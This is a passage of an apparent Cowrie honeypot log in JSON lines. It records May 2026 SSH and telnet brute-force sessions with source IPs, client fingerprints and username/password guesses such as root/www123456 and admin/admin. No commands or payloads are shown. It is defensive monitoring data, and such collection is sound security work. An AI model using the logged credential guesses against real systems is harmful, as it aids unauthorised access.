penssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:26.894373Z","src_ip":"31.40.204.166","session":"8bb06054d2bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:27.488724Z","src_ip":"31.40.204.166","session":"8bb06054d2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c6e8d7e7d8b","protocol":"telnet","message":"New connection: 152.42.224.71:41246 (10.17.0.5:23) [session: 6c6e8d7e7d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:27.810577Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:28.711560Z","src_ip":"31.40.204.166","session":"8bb06054d2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":45926,"dst_ip":"159.203.135.109","dst_port":22,"session":"2061f2d7d59c","protocol":"ssh","message":"New connection: 43.156.227.3:45926 (159.203.135.109:22) [session: 2061f2d7d59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:29.704285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:29.708636Z","src_ip":"43.156.227.3","session":"2061f2d7d59c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:29.946011Z","src_ip":"43.156.227.3","session":"2061f2d7d59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41254,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0cc4f4c3b6c","protocol":"telnet","message":"New connection: 152.42.224.71:41254 (10.17.0.5:23) [session: a0cc4f4c3b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:30.621219Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:30.927502Z","src_ip":"43.156.227.3","session":"2061f2d7d59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":20684,"dst_ip":"159.203.135.109","dst_port":22,"session":"38811dbd7698","protocol":"ssh","message":"New connection: 101.36.108.213:20684 (159.203.135.109:22) [session: 38811dbd7698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:31.507951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:31.513811Z","src_ip":"101.36.108.213","session":"38811dbd7698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:31.734119Z","src_ip":"101.36.108.213","session":"38811dbd7698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.167535Z","src_ip":"43.156.227.3","session":"2061f2d7d59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"a065df82140a","protocol":"ssh","message":"New connection: 119.28.115.94:51906 (159.203.135.109:22) [session: a065df82140a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.392146Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30262,"dst_ip":"10.17.0.5","dst_port":22,"session":"5827fb7aa313","protocol":"ssh","message":"New connection: 87.251.64.176:30262 (10.17.0.5:22) [session: 5827fb7aa313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.397678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.401112Z","src_ip":"119.28.115.94","session":"a065df82140a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.409774Z","src_ip":"87.251.64.176","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.512856Z","src_ip":"87.251.64.176","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41260,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcb1e3e52aa","protocol":"telnet","message":"New connection: 152.42.224.71:41260 (10.17.0.5:23) [session: 0bcb1e3e52aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.605412Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.630846Z","src_ip":"101.36.108.213","session":"38811dbd7698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.639214Z","src_ip":"119.28.115.94","session":"a065df82140a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.819444Z","src_ip":"87.251.64.176","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:32.919901Z","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:33.019879Z","src_ip":"87.251.64.176","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:33.253888Z","src_ip":"87.251.64.176","session":"5827fb7aa313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingking","message":"login attempt [root/kingking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:33.619521Z","src_ip":"119.28.115.94","session":"a065df82140a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:33.855013Z","src_ip":"101.36.108.213","session":"38811dbd7698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:34.860319Z","src_ip":"119.28.115.94","session":"a065df82140a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35054,"dst_ip":"10.17.0.5","dst_port":23,"session":"95164b40f049","protocol":"telnet","message":"New connection: 152.42.224.71:35054 (10.17.0.5:23) [session: 95164b40f049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:36.985163Z"}
{"eventid":"cowrie.session.closed","duration":37.28281116485596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:37.569182Z","src_ip":"152.42.224.71","session":"08e1cbd95ba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52142,"dst_ip":"159.203.135.109","dst_port":22,"session":"8203e8256f6d","protocol":"ssh","message":"New connection: 31.40.204.166:52142 (159.203.135.109:22) [session: 8203e8256f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:39.521413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:39.526514Z","src_ip":"31.40.204.166","session":"8203e8256f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35060,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da875982dbe","protocol":"telnet","message":"New connection: 152.42.224.71:35060 (10.17.0.5:23) [session: 0da875982dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:39.541016Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:39.715942Z","src_ip":"31.40.204.166","session":"8203e8256f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:40.191787Z","src_ip":"31.40.204.166","session":"8203e8256f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.57490682601929,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:41.141711Z","src_ip":"152.42.224.71","session":"9d4e32acb088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:41.320234Z","src_ip":"31.40.204.166","session":"8203e8256f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ae9f56200c","protocol":"telnet","message":"New connection: 152.42.224.71:35064 (10.17.0.5:23) [session: c0ae9f56200c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:43.716279Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35080,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b3dd3aa3d1","protocol":"telnet","message":"New connection: 152.42.224.71:35080 (10.17.0.5:23) [session: 00b3dd3aa3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:45.020594Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36944,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ec0514d39a","protocol":"ssh","message":"New connection: 109.237.96.109:36944 (10.17.0.5:22) [session: f2ec0514d39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:46.627694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:46.632402Z","src_ip":"109.237.96.109","session":"f2ec0514d39a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:46.724347Z","src_ip":"109.237.96.109","session":"f2ec0514d39a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty111","message":"login attempt [root/qwerty111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:47.001544Z","src_ip":"109.237.96.109","session":"f2ec0514d39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:48.096906Z","src_ip":"109.237.96.109","session":"f2ec0514d39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":50894,"dst_ip":"159.203.135.109","dst_port":22,"session":"50041d695fcd","protocol":"ssh","message":"New connection: 43.134.228.151:50894 (159.203.135.109:22) [session: 50041d695fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:49.765787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:49.773489Z","src_ip":"43.134.228.151","session":"50041d695fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 